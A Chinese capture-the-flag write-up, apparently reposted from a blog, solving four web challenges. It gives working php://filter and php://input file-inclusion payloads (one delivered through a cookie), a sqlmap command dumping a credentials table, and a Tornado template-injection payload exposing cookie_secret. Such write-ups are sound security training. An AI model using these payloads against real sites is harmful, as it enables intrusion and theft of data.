一、fileclude
include("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) && isset($_GET["file2"])){ $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO");}
两个参数file1和file2
file2中包含数据file_get_contents
直接访问flag.php只显示WRONG WAY!
说明flag应该在flag.php的注释里
包含的是file1
所以
?file1=php://filter/read=convert.base64-encode/resource=flag.php
file2使用php伪协议传数据
file2=php://input
最后
http://61.147.171.105:61741/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
然后POST数据
hello ctf
拿到flag
然后base64转码即可
二、fileinclude
注释
发现源码泄露
?phpif( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); }error_reporting(E_ALL);$lan = $_COOKIE['language'];if(!$lan){@setcookie("language","english");@include("english.php");}else{@include($lan.".php");}$x=file_get_contents('index.php');echo $x;?
发现文件包含点在COOKIE中,使用php伪协议filter的读,base64编码
COOKIE:language=php://filter/read=convert.base64-encode/resource=flag
base转码
三、inget
SQL注入
sqlmap -u "http://61.147.171.105:54122/?id=1" -T cyber -C user,ID,pw --dump
四、easytornado
模板注入
http://61.147.171.105:57847/error?msg={{handler.settings}}
先把flag的filename进行md5,然后再把cookie_secret与md5后的值拼接,再md5
欢迎加入我的知识星球,内含有多篇赏金漏洞
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅
来源地址:https://blog.csdn.net/xulei1132562/article/details/126533422